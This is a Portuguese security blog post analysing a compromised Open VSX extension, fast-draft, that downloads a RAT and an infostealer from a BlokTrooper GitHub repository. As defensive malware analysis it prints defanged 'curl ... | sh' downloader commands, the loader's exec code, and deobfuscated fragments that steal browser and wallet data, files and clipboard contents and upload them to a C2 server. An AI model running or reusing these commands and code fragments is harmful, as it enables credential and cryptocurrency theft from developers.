Aikido

Extensão VSX de rascunho rápido comprometida pelo BlokTrooper

Escrito por
Raphael Silva

O KhangNghiem/rascunho rápido extensão, listada em open-vsx.org/extension/KhangNghiem/fast-draft e que conta agora com mais de 26 000 transferências, apresentou várias versões maliciosas que executam um programa de transferência alojado no GitHub e descarregam um RAT de segunda fase e um infostealer a partir do repositório BlokTrooper/extension. As versões maliciosas confirmadas na linha de versões que analisámos são 0.10.89, 0.10.105, 0.10.106, e 0.10.112.

O que torna este caso invulgar é o facto de os lançamentos maliciosos não serem contínuos. As versões até 0.10.88 parecem limpos. 0.10.111 também parece estar limpo, apesar de se encontrar entre versões maliciosas e a versão mais recente do Open VSX, datada de 17 de março de 2026, 0.10.135, também não contém o mesmo carregador. Esse padrão alternado é difícil de conciliar com a hipótese de um mantenedor distribuir malware intencionalmente. A explicação mais plausível é um editor comprometido ou um token roubado.

A partir de 17 de março de 2026, a entrada da API Open VSX em open-vsx.org/api/KhangNghiem/fast-draft listas 0.10.135 como a versão mais recente e regista um total de 26 594 downloads da extensão. Comunicámos o problema ao responsável pela manutenção em 12 de março de 2026 através de uma issue no GitHub github.com/khangnghiem/fast-draft/issues/565, que ainda estava aberto e sem comentários no momento em que este artigo foi escrito.

O Que Aconteceu

Se analisarmos a linha de versão por ordem, ficamos a perceber o que se passou:

  • 0.10.88: Parece limpo. Não se conhece o caminho do programa de download.
  • 0.10.89: Malicioso. Introduz um programa de descarregamento de shell alojado no GitHub durante a inicialização do editor.
  • 0.10.105: Malicioso. Muda o carregador para ativação no arranque e adiciona uma proteção de utilização única.
  • 0.10.106: Malicioso. O mesmo carregador de arranque, mas o mecanismo de proteção foi removido.
  • 0.10.111: Aspecto limpo. O caminho do programa de download conhecido desaparece.
  • 0.10.112: Malicioso. O programa de download na inicialização está de volta.
  • 0.10.129-135: Parece estar limpo. Versões verificadas mais recentes, sem a presença do programa de download conhecido.

Esse não é o padrão de lançamento que se esperaria de uma única compilação comprometida ou de um mantenedor que tenha adotado totalmente um comportamento malicioso. Parece-se mais com duas linhas de lançamento concorrentes que partilham a mesma identidade de editor.

Como funcionou o ataque

Todas as versões maliciosas recorrem ao mesmo truque básico: a extensão entra em contacto com raw[.]githubusercontent[.]com/BlokTrooper/extension e redireciona a resposta diretamente para um shell.

Em 0.10.89, a extensão obtém scripts específicos da plataforma a partir do diretório scripts/ do repositório:

curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/linux.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/mac.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/windows.cmd | cmd

Em 0.10.105, 0.10.106, e 0.10.112, a mesma ideia é apresentada como um icons/${platform} obtida e associada à ativação da extensão, provavelmente também com o objetivo de evitar ser detetada.

Esses scripts da plataforma descarregam, então, arquivos ZIP, extraem-nos para um diretório temporário e executam um binário Node incluído no pacote, utilizando uma carga útil temporária ofuscada. Já analisámos essa carga útil em pormenor numa análise separada. Não se trata de um stub de teste inofensivo. Ela implementa quatro módulos em paralelo:

  • Um RAT Socket.IO com controlo do rato, do teclado, de capturas de ecrã e da área de transferência
  • Um programa malicioso que rouba dados de navegadores e carteiras, tendo como alvo senhas guardadas, dados da Web e 25 extensões de carteiras de criptomoedas
  • Um módulo de exfiltração de ficheiros que carrega recursivamente documentos, chaves, configurações, código-fonte e secrets
  • Um monitor da área de transferência que reenvia o conteúdo copiado para o C2

A infraestrutura é a mesma cadeia BlokTrooper/extensão que descodificámos anteriormente, com os valores de configuração a corresponderem a 195.201.104.53e portas ativas 6931, 6936, e 6939.

A Prova Irrefutável

O malicioso 0.10.112 Esta compilação restaura a ativação no arranque e o programa de download direto do GitHub:

const fileName = platform === "win32" ? " | cmd" : " | sh";
const cdnUrl = `curl ${protocol}${separator}${host}${path2}${fileName}`;
(0, import_child_process.exec)(cdnUrl, (error, responses) => {...

A versão mais recente compilada e verificada, 0.10.135, não segue o mesmo caminho. A sua lógica de ativação regista o fornecedor do editor e outros componentes de base da extensão, mas o programa de transferência do BlokTrooper está ausente.

Essa diferença é mais relevante do que o ruído heurístico genérico proveniente dos scanners estáticos. Este caso exigiu uma análise manual versão a versão, uma vez que as compilações limpas continuam a incluir a execução normal de processos e integrações de fornecedores de IA que podem parecer suspeitas para regras simplistas.

O que a Segunda Fase realmente faz

É na segunda fase que isto passa de um programa de download suspeito para um ataque completo.

A parte exterior temp O wrapper reconstrói o endereço C2 a partir de octetos de IP codificados de forma rígida e suprime erros de execução com process.on('uncaughtException', ()=>{}), e gera quatro processos filhos Node independentes com node -e. Por outras palavras, a extensão não se limita a descarregar uma carga útil. Descarrega uma pequena estrutura de ataque que se ramifica em tarefas simultâneas separadas.

process.on(..., function(a7) {});
process.on(..., function(a7) {});
var Q = N.a;
var R = N.b;
var T = N.c;
var U = N.d;...
var a3 = ''.concat(Q, '.').concat(R, '.').concat(T, '.').concat(U);
var a4 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);
var a5 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);

Isso provém diretamente do wrapper desofuscado e revela que o operador está a ocultar falhas ao reconstruir cadeias de IP a partir de campos de configuração, em vez de as armazenar como texto simples.

ab = ...;
M(..., ['-e', ab], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ac = ...;
M(..., ['-e', ac], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ad = ...;
M(..., ['-e', ad], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ae = ...;
M(..., ['-e', ae], {
    windowsHide: true,
    detached: true,
    stdio: ...
});

Este é o ponto de controlo da fase 2: um script de inicialização inicia quatro módulos separados na memória e os separa para que possam continuar a funcionar de forma independente em segundo plano.

Módulo 1: RAT de Ambiente de Trabalho Remoto

O primeiro processo filho volta a ligar-se a http://195[.]201[.]104[.]53:6931 através Socket.IO e disponibiliza um canal completo de controlo remoto.

Suporta comandos para:

  • movimentos do rato, cliques e deslocamento
  • toques nas teclas e combinações de teclas
  • capturas de ecrã com compressão JPEG
  • leitura e gravação na área de transferência
  • consulta das dimensões do ecrã
  • perfilagem do sistema e controlo de sessões

O conjunto de dependências incluído no ficheiro ZIP corresponde exatamente a essas funcionalidades:

"node_modules/@nut-tree-fork/nut-js": {
    "version": "4.2.6"
}, "node_modules/clipboardy": {
    "version": "5.3.1"
}, "node_modules/screenshot-desktop": {
    "version": "1.15.3"
}, "node_modules/sharp": {
    "version": "0.34.5"
}, "node_modules/socket.io-client": {
    "version": "4.8.3"
}

Por si só, as dependências não são suficientes para provar um comportamento malicioso. Neste caso, são relevantes porque coincidem com a estrutura do módulo já desofuscada: execução remota de tarefas através Socket.IO, captura do ecrã, processamento de imagens, acesso à área de transferência e automatização total do teclado e do rato.

A carga útil também verifica se está a ser executada numa máquina virtual, procurando cadeias de caracteres como VMware, VirtualBox, qemu, kvm, e xen em informações do sistema específicas da plataforma. Não pára quando encontra uma VM. Simplesmente identifica o anfitrião e continua. Também mantém um bloqueio de PID único sob ~/.npm/ para que não sejam executadas várias instâncias na mesma máquina.

Módulo 2: Roubo de navegadores e carteiras

O segundo processo filho analisa os perfis do navegador para o Chrome, Edge, Brave, Opera e LT Browser nos sistemas macOS, Linux e Windows. Para cada perfil, ele rouba:

  • Dados de início de sessão
  • Dados de início de sessão para a conta
  • Dados da Web
  • Estado do LevelDB a partir de extensões da carteira

A seleção de carteiras é abrangente, não acidental. A lista pré-definida inclui MetaMask, Phantom, TronLink, Trust Wallet, Coinbase Wallet, OKX, Solflare, Rabby, Keplr, UniSat, Enkrypt, Bitget, SafePal, TON Wallet, Petra, Pontem, Nami, Sender, Slope, Halo e CoinStats, entre outras. No macOS, também captura ~/Biblioteca/Keychains/login.keychain.

Os dados estão armazenados em ~/npm-cache/__tmp__/cldbs/ e carregado em http://195[.]201[.]104[.]53:6936/upload. Após a varredura inicial, o programador malicioso continua a verificar se existem novos ficheiros LevelDB aproximadamente a cada 100 segundos, o que significa que foi concebido para detetar alterações no estado da carteira ao longo do tempo, em vez de se limitar a um único ataque relâmpago.

A nova descodificação da fase 2 permite-nos ter uma visão mais clara do módulo de roubo do navegador. Este codifica de forma rígida os IDs das extensões de carteira e, em seguida, percorre os dados do perfil do navegador, as bases de dados de início de sessão e o estado das extensões suportadas pelo LevelDB:

const wps = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "jblndlipeogpafnldhgmapagcccfchpi"];
await c[z(0x238)](uf, g + '/' + j + z(0x241));
await c[z(0x22b)](uf, g + '/' + j + z(0x1ee));
await c[z(0x1d6)](uf, g + '/' + j + z(0x208));
for (let k of wps) {
    const l = g + '/' + j + z(0x248) + k;

No mesmo blob descodificado, essas constantes de caminho traduzem-se em /Dados de início de sessão, /Dados de início de sessão da conta, /Dados da Web, e /Definições de extensão local/, enquanto o utilizador que faz o upload utiliza FormData, fs.createReadStream, /cldbs, e /carregar.

const f = new FormData();
f.append(e[y(0x1fc)], fs[y(0x20e)](c));
const g = await axios[y(0x1e4)](uu, f, {
    headers: {
        ...f[y(0x239)](),
        path: d[y(0x1fb)](e[y(0x21a)], e[y(0x1ba)])
    }
});

Módulo 3: Roubo de documentos e segredos

O terceiro processo filho analisa recursivamente o diretório pessoal, ou todas as unidades no Windows, em busca de ficheiros confidenciais. Os padrões alvo incluem:

  • *.docx, *.xlsx, *.xls, *.csv, *.pdf, *.doc, *.odt, *.rtf
  • *.md, *.txt, *.js, *.ts, *.json, *.ini
  • *.env*, *.pem, *.secret
  • formatos de imagem comuns

A lista de exclusão também é reveladora. Ela ignora caminhos ruidosos como node_modules, .git, dist, e construir, mas também ignora explicitamente pastas como .windsurf, .pearai, .claude, .cursor, .brownie, e openzeppelin. Isso sugere que o operador não se limita a roubar ficheiros aleatórios. Sabe que os computadores dos programadores, as ferramentas de criptografia e os ambientes de programação assistidos por IA são alvos de grande valor.

As sequências de código descodizadas relativas ao roubo de ficheiros são claras tanto quanto ao que é recolhido como ao que é ignorado:

const u = [".github", "*.env*", ".sqlite", "*.csv", "*.pdf", ".zsh_history", ".ssh", ".pub-cache", ".vscode"];
"node_modules", ".brownie", "AppData", "*.docx", ".cursor", ".claude", "openzeppelin", ".windsurf"

Esta configuração foi otimizada para estações de trabalho de programadores, árvores de código-fonte, material de chaves, histórico do shell e estado local de grande valor proveniente de ambientes de programação modernos.

Módulo 4: Vigilância da área de transferência

O quarto processo filho verifica a área de transferência a cada dois segundos e aguarda que o conteúdo se estabilize antes de o enviar para o C2.

  • No macOS, utiliza pbpaste
  • No Windows, recorre ao powershell -NoProfile -NonInteractive Get-Clipboard
  • No Linux, recorre a prático

O conteúdo alterado da área de transferência é enviado para /api/service/makelog, o que significa que frases de semente, palavras-passe, chaves API e códigos de recuperação copiados podem ser extraídos, mesmo que nunca tenham sido gravados no disco.

O bloco de texto descodificado do módulo da área de transferência é invulgarmente direto:

"/api/service/makelog","pbpaste","powershell -NoProfile -NonInteractive Get-Clipboard","child_process",«http://»

Essas sequências de caracteres encontram-se juntas no código da área de transferência da fase 2 e correspondem ao comportamento observado anteriormente durante a desofuscação: recolha da área de transferência específica da plataforma, seguida do envio para a rota de registo do operador.

A importância de manter o espaço limpo

São as versões limpas que fazem com que este caso mereça ser analisado como um provável compromisso da editora, em vez de ser apenas «uma extensão que se tornou maliciosa».

Verificámos manualmente 0.10.88, 0.10.111, e 0.10.129-135 no que diz respeito aos indicadores concretos presentes nas compilações maliciosas:

  • raw[.]githubusercontent[.].com/BlokTrooper
  • o guard fd.onlyOncePlease utilizado pelo carregador de arranque
  • socket.io-client
  • /carregar
  • /cldbs
  • pbpaste
  • Get-Clipboard

Esses indicadores conhecidos estavam ausentes nas versões de aparência limpa, e o seu fluxo de ativação parecia mais um registo normal de extensão do que um programa de download. Isso é especialmente importante para 0.10.111, que se situa precisamente entre o malicioso 0.10.106 e 0.10.112, e para 0.10.135, que é atualmente a versão mais recente do Open VSX.

Se o responsável pela manutenção estivesse a distribuir o malware de forma deliberada, o histórico de versões provavelmente permaneceria malicioso até à sua descoberta ou remoção. Em vez disso, vemos versões maliciosas a surgirem e desaparecerem, enquanto a questão pública permanece sem resposta. Isso é consistente com o roubo de acesso à publicação ou com algum outro tipo de comprometimento do processo de lançamento.‍

Indicadores de Comprometimento

  • ID da extensão: KhangNghiem.fast-draft
  • Versões maliciosas: 0.10.89, 0.10.105, 0.10.106, 0.10.112
  • Servidor da Fase 1: raw[.]githubusercontent[.].com/BlokTrooper/extension
  • Endereço IP C2: 195[.]201[.]104[.]53
  • Portas: 6931, 6936, 6939
  • Rotas de exfiltração: /upload, /cldbs, /api/service/makelog

Compartilhar:

https://www.aikido.dev/blog/fast-draft-open-vsx-bloktrooper

Assine para receber notícias sobre ameaças.

Comece hoje, gratuitamente.

Comece Gratuitamente
Não é necessário cc
4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes
Verifique se está em risco

Verifique se as suas dependências contêm pacotes maliciosos

Começar Agora

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.